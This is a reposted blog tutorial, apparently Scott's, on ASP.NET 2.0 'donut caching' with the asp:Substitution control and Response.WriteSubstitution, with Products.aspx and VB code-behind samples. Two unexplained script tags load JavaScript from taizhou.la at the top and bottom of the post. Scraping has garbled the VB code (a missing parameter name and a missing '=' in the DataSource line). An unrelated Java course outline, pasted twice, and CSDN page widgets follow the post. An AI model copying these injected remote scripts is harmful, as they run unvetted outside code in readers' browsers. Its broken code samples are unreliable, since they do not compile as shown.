Tip/Trick: Implement 'Donut Caching' with the ASP.NET 2.0 Output Cache Substitution Feature

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>

Some Background:

One of the most powerful, yet too often under-used, feature areas of ASP.NET is its rich caching infrastructure.  ASP.NET's caching features enable you to avoid repeating work on the server for each new request received from clients.  Instead, you can generate either html content or data structures once, and then cache/store the results within ASP.NET on the server and re-use them for later web requests.  This can dramatically improve performance for your applications, and lower the load on critical backend resources like databases.

Steve Smith wrote a good ASP.NET 1.1 caching article on MSDN a few years ago that covers some of the basics of the ASP.NET 1.1 caching features and provides a good summary of how to use them.  If you haven't used ASP.NET caching before, I'd recommend checking it out and giving each feature a try.  ASP.NET 2.0 has added two very important improvements to the caching feature set that make it even better:

1) SQL Cache Invalidation Support - This enables you to automatically invalidate/re-generate a cached page or data structure when a database table or row it depends on is updated.  For example, you can now output cache all of your product listing pages within an e-commerce site - and make sure that anytime that their prices change in the database the pages are immediately re-generated on the next request (and do not show stale pricing data to users). 

2) Output Cache Substitution - This nifty feature enables you to implement what I sometimes call "donut caching" -- where you output cache everything on a page except for a few dynamic regions that are contained within cached regions.  This enables you to implement full page output caching more aggressively, and not have to split your pages into multiple .ascx user control files to order to implement partial page caching.  The below tip/trick tutorial explains the motivation and implementation of this feature better.

Real-World Scenario:

You want to implement a product listing page within your site that lists all products within a given product category.  You want to output cache this page so that you don't have to hit the database on each request.  You can easily accomplish this by declaratively adding an <%@ OutputCache %> directive to the top of a Products.aspx page that contains an <asp:datalist> control which is databound to product data returned from your middle-tier.

Note below how the page is configured to output cache its contents for 100,000 seconds or until the northwind's products table is updated with new pricing data (in which case it will immediately regenerate the page on the next request).  The OutputCache directive also has a "VaryByParam" attribute that tells ASP.NET to store a separate cached version of the page for each unique categoryID (for example: a separate page for Products.aspx?categoryId=1, Products.aspx?categoryId=2, etc). 

Products.aspx:

<%@ Page Language="VB" MasterPageFile="~/Site.master" AutoEventWireup="false" CodeFile="Products.aspx.vb" Inherits="Products" %>
<%@ OutputCache Duration="100000" VaryByParam="CategoryID" SqlDependency="northwind:products" %>

<asp:Content ID="Content1" ContentPlaceHolderID="ContentPlaceHolder1" Runat="Server">

<div class="catalogue">

    
<asp:DataList ID="DataList1" RepeatColumns="2" runat="server">
        
<ItemTemplate>
        
            
<div class="productimage">
                
<img src="images/productimage.gif" />
            </
div>
        
            
<div class="productdetails">
            
                
<div class="ProductListHead">
                    
<%#Eval("ProductName")%>
                
</div>
                
                
<span class="ProductListItem">
                    
<strong>Price:</strong>
                    
<%# Eval("UnitPrice", "{0:c}") %>
                
</span>
                
            
</div>
        
        
</ItemTemplate>
    
</asp:DataList>
    
    
<h3>Generated @ <%=Now.ToLongTimeString()%></h3>

</div>

</asp:Content>

Products.aspx.vb:

Partial  Class  Products
    
Inherits  System.Web.UI.Page

    
Sub  Page_Load( ByVal  sender  As Object ByVal  As  System.EventArgs)  Handles Me .Load

        
Dim  products  As New  NorthwindTableAdapters.ProductsTableAdapter

        DataList1.DataSource 
products.GetProductsByCategoryID(Request.QueryString( "categoryId" ))
        DataList1.DataBind()

    
End Sub

End Class

When accessed by a browser, the below page is returned from the server:

Note that the timestamp at the bottom of the page will only be updated every 100,000 seconds or if the pricing data in the products table has been updated.  It will be cached for all the other HTTP requests - allowing us to process 1000s of requests per second on a production server and avoid ever having to hit the database (making things super fast).

Problem:

The one problem we are going to encounter in the above example is with the welcome message and username we output at the top-right of the page (circled in red above).  This is currently being generated within our Site.Master master-page file using the new ASP.NET 2.0 <asp:loginname> control like so:

< div  class ="header">
    
< h1 > Caching Samples </ h1 >
            
    
< div  class ="loginstatus">
        
< asp:LoginName  FormatString ="Welcome {0}!"  runat ="server"   />
    </
div >         
</ div >

The problem we are going to run into is that because we've added full-page output caching to our page, the username of the first user to hit the site is going to be saved in the cached output from the page - which means that by default the users who hit the site in the 100,000 seconds after that initial request are going to receive back an incorrect welcome message (and worse - an incorrect name!).

Solution:

There are two ways to solve this problem. 

The first solution would be to have the overall page be dynamic (so remove the top-level <%@ OutputCache %> directive), and refactor the page contents so that all of the "cacheable" content is encapsulated within ASP.NET User Controls (which are implemented in .ascx files).  You'd then add <%@ OutputCache %> directives at the top of each of these .ascx user control files to make them separately cacheable.  This avoids you having to hit the database on each request, and ensures that the username is always correctly output (since it is not within a cached user control region).  This approach works today with ASP.NET 1.1 and of course can still be done with ASP.NET 2.0.

The downside with this first solution, though, is that it requires us to refactor our code and layout within the page in order to make caching work.  If we have only a few places within the page that we want to keep dynamic, this refactoring can be really inconvenient.  The good news is that ASP.NET 2.0 has added support for Output Cache Substitution block support that provide a much cleaner way to handle this scenario.

Output Cache Substitution Blocks using the <asp:substitution> control:

Output Cache Substitution blocks enable you to OutputCache an entire page's output -- while leaving a few dynamic region markers to indicate places in the HTML output where you want to dynamically "fill-in" content on later requests (for example: the username message in our sample above).  I sometimes call this the "donut caching feature" - since the outer content of a page is all cached, with only a few holes in the middle of the content stream that are dynamic.  This is the exact opposite of using user controls with partial page caching - since in the partial page caching case the overall page is dynamic, with cached regions in the middle. 

You implement output cache substitution by output caching a page using full page output caching (exactly the same syntax as the Products.aspx code sample above).  You can then indicate regions of the page that you want to dynamically fill-in using substitution blocks by adding <asp:substitution> controls to the page like so:

< div  class ="header">
    
< h1 > Caching Samples </ h1 >
    
    
< div  class ="loginstatus">
        
< asp:Substitution  ID ="Substitution1"  runat ="server"  MethodName ="LoginText"   />
    </
div >
</ div >

The <asp:Substitution> control is unlike any other control in ASP.NET.  It registers a callback event with the ASP.NET output-cache that will cause a static method on your page or masterpage to be invoked when the page content is served out on subsequent requests from the ASP.NET Output Cache.  This static method will be passed an HttpContext object at runtime that contains the standard ASP.NET Request, Response, User, Server, Session, Application intrinsics, and which you can then use to return a string that ASP.NET will automatically inject into that region of the page before the content is sent back to the client. 

For example, to handle the scenario above where we want to dynamically output a welcome message into the output-cached products.aspx page we'd simply add this method to our Site.Master code-behind file and have it be invoked by the <asp:substitution> control above:

Partial  Class  Site
    
Inherits  System.Web.UI.MasterPage

    
Shared Function  LoginText( ByVal  Context  As  HttpContext)  As String
        Return 
"Hello "  & Context.User.Identity.Name
    
End Function

End Class

Now the entire page will be output cached, except for the contents of the <asp:substitution> control representing the welcome message on the top-right of our page. 

We could obviously extend this further if we wanted to include additional personalized information like how many items the user had within their shopping cart, etc.  The cool thing is that all other content on the page remains fully cached - and we never have to hit the products database in order to generate it on cached requests (meaning we can process thousands of product pages a second on a single server).  In fact, no controls on the page are created during the request, and no code other than the static method above ever runs on later requests - making everything super fast. 

Output Cache Substitution Blocks using the Response.WriteSubstitution method:

In addition to using <asp:substitution> controls to indicate replaceable substitution blocks on a page, you can alternatively use the Response.WriteSubstitution method instead.  This method takes as a parameter a delegate object to a HttpResponseSubstitutionCallback method that you can implement on any class within your application (it is not limited to only going against static methods on your code-behind class). 

The <asp:substitution> control internally uses this method to wire-up delegates in the code-behind classes of pages.  You can likewise use it within your own controls or pages for maximum control and flexibility.

Conclusion:

I have yet to find a single ASP.NET application that could not benefit from using the ASP.NET caching features.  Because ASP.NET supports full page output caching, partial page output caching, and now donut-level caching - and allows you to vary the cached content based on any parameter or custom logic you want, and now allows you to automatically invalidate/re-generate the cached contents when a database changes, you shouldn't find yourself ever building an application that can't use caching to at least some degree. 

I definitely recommend spending time checking all of the ASP.NET caching features out.  To find some more caching samples I've done, please download my Tips/Tricks talk from the recent ASP.NET Connections event.  Within that presentation I include slides+samples that show how to use full-page caching, partial page caching, substitution block caching, and SQL Cache Invalidation.

For additional ASP.NET Tips/Tricks blog posts of mine, please review my ASP.NET Tips, Tricks and Resources page.

Hope this helps,

Scott

<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
完整版:https://download.csdn.net/download/qq_27595745/89522468 【课程大纲】 1-1 什么是java 1-2 认识java语言 1-3 java平台的体系结构 1-4 java SE环境安装和配置 2-1 java程序简介 2-2 计算机中的程序 2-3 java程序 2-4 java类库组织结构和文档 2-5 java虚拟机简介 2-6 java的垃圾回收器 2-7 java上机练习 3-1 java语言基础入门 3-2 数据的分类 3-3 标识符、关键字和常量 3-4 运算符 3-5 表达式 3-6 顺序结构和选择结构 3-7 循环语句 3-8 跳转语句 3-9 MyEclipse工具介绍 3-10 java基础知识章节练习 4-1 一维数组 4-2 数组应用 4-3 多维数组 4-4 排序算法 4-5 增强for循环 4-6 数组和排序算法章节练习 5-0 抽象和封装 5-1 面向过程的设计思想 5-2 面向对象的设计思想 5-3 抽象 5-4 封装 5-5 属性 5-6 方法的定义 5-7 this关键字 5-8 javaBean 5-9 包 package 5-10 抽象和封装章节练习 6-0 继承和多态 6-1 继承 6-2 object类 6-3 多态 6-4 访问修饰符 6-5 static修饰符 6-6 final修饰符 6-7 abstract修饰符 6-8 接口 6-9 继承和多态 章节练习 7-1 面向对象的分析与设计简介 7-2 对象模型建立 7-3 类之间的关系 7-4 软件的可维护与复用设计原则 7-5 面向对象的设计与分析 章节练习 8-1 内部类与包装器 8-2 对象包装器 8-3 装箱和拆箱 8-4 练习题 9-1 常用类介绍 9-2 StringBuffer和String Builder类 9-3 Rintime类的使用 9-4 日期类简介 9-5 java程序国际化的实现 9-6 Random类和Math类 9-7 枚举 9-8 练习题 10-1 java异常处理 10-2 认识异常 10-3 使用try和catch捕获异常 10-4 使用throw和throws引发异常 10-5 finally关键字 10-6 getMessage和printStackTrace方法 10-7 异常分类 10-8 自定义异常类 10-9 练习题 11-1 Java集合框架和泛型机制 11-2 Collection接口 11-3 Set接口实现类 11-4 List接口实现类 11-5 Map接口 11-6 Collections类 11-7 泛型概述 11-8 练习题 12-1 多线程 12-2 线程的生命周期 12-3 线程的调度和优先级 12-4 线程的同步 12-5 集合类的同步问题 12-6 用Timer类调度任务 12-7 练习题 13-1 Java IO 13-2 Java IO原理 13-3 流类的结构 13-4 文件流 13-5 缓冲流 13-6 转换流 13-7 数据流 13-8 打印流 13-9 对象流 13-10 随机存取文件流 13-11 zip文件流 13-12 练习题 14-1 图形用户界面设计 14-2 事件处理机制 14-3 AWT常用组件 14-4 swing简介 14-5 可视化开发swing组件 14-6 声音的播放和处理 14-7 2D图形的绘制 14-8 练习题 15-1 反射 15-2 使用Java反射机制 15-3 反射与动态代理 15-4 练习题 16-1 Java标注 16-2 JDK内置的基本标注类型 16-3 自定义标注类型 16-4 对标注进行标注 16-5 利用反射获取标注信息 16-6 练习题 17-1 顶目实战1-单机版五子棋游戏 17-2 总体设计 17-3 代码实现 17-4 程序的运行与发布 17-5 手动生成可执行JAR文件 17-6 练习题 18-1 Java数据库编程 18-2 JDBC类和接口 18-3 JDBC操作SQL 18-4 JDBC基本示例 18-5 JDBC应用示例 18-6 练习题 19-1 。。。
完整版:https://download.csdn.net/download/qq_27595745/89522468 【课程大纲】 1-1 什么是java 1-2 认识java语言 1-3 java平台的体系结构 1-4 java SE环境安装和配置 2-1 java程序简介 2-2 计算机中的程序 2-3 java程序 2-4 java类库组织结构和文档 2-5 java虚拟机简介 2-6 java的垃圾回收器 2-7 java上机练习 3-1 java语言基础入门 3-2 数据的分类 3-3 标识符、关键字和常量 3-4 运算符 3-5 表达式 3-6 顺序结构和选择结构 3-7 循环语句 3-8 跳转语句 3-9 MyEclipse工具介绍 3-10 java基础知识章节练习 4-1 一维数组 4-2 数组应用 4-3 多维数组 4-4 排序算法 4-5 增强for循环 4-6 数组和排序算法章节练习 5-0 抽象和封装 5-1 面向过程的设计思想 5-2 面向对象的设计思想 5-3 抽象 5-4 封装 5-5 属性 5-6 方法的定义 5-7 this关键字 5-8 javaBean 5-9 包 package 5-10 抽象和封装章节练习 6-0 继承和多态 6-1 继承 6-2 object类 6-3 多态 6-4 访问修饰符 6-5 static修饰符 6-6 final修饰符 6-7 abstract修饰符 6-8 接口 6-9 继承和多态 章节练习 7-1 面向对象的分析与设计简介 7-2 对象模型建立 7-3 类之间的关系 7-4 软件的可维护与复用设计原则 7-5 面向对象的设计与分析 章节练习 8-1 内部类与包装器 8-2 对象包装器 8-3 装箱和拆箱 8-4 练习题 9-1 常用类介绍 9-2 StringBuffer和String Builder类 9-3 Rintime类的使用 9-4 日期类简介 9-5 java程序国际化的实现 9-6 Random类和Math类 9-7 枚举 9-8 练习题 10-1 java异常处理 10-2 认识异常 10-3 使用try和catch捕获异常 10-4 使用throw和throws引发异常 10-5 finally关键字 10-6 getMessage和printStackTrace方法 10-7 异常分类 10-8 自定义异常类 10-9 练习题 11-1 Java集合框架和泛型机制 11-2 Collection接口 11-3 Set接口实现类 11-4 List接口实现类 11-5 Map接口 11-6 Collections类 11-7 泛型概述 11-8 练习题 12-1 多线程 12-2 线程的生命周期 12-3 线程的调度和优先级 12-4 线程的同步 12-5 集合类的同步问题 12-6 用Timer类调度任务 12-7 练习题 13-1 Java IO 13-2 Java IO原理 13-3 流类的结构 13-4 文件流 13-5 缓冲流 13-6 转换流 13-7 数据流 13-8 打印流 13-9 对象流 13-10 随机存取文件流 13-11 zip文件流 13-12 练习题 14-1 图形用户界面设计 14-2 事件处理机制 14-3 AWT常用组件 14-4 swing简介 14-5 可视化开发swing组件 14-6 声音的播放和处理 14-7 2D图形的绘制 14-8 练习题 15-1 反射 15-2 使用Java反射机制 15-3 反射与动态代理 15-4 练习题 16-1 Java标注 16-2 JDK内置的基本标注类型 16-3 自定义标注类型 16-4 对标注进行标注 16-5 利用反射获取标注信息 16-6 练习题 17-1 顶目实战1-单机版五子棋游戏 17-2 总体设计 17-3 代码实现 17-4 程序的运行与发布 17-5 手动生成可执行JAR文件 17-6 练习题 18-1 Java数据库编程 18-2 JDBC类和接口 18-3 JDBC操作SQL 18-4 JDBC基本示例 18-5 JDBC应用示例 18-6 练习题 19-1 。。。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值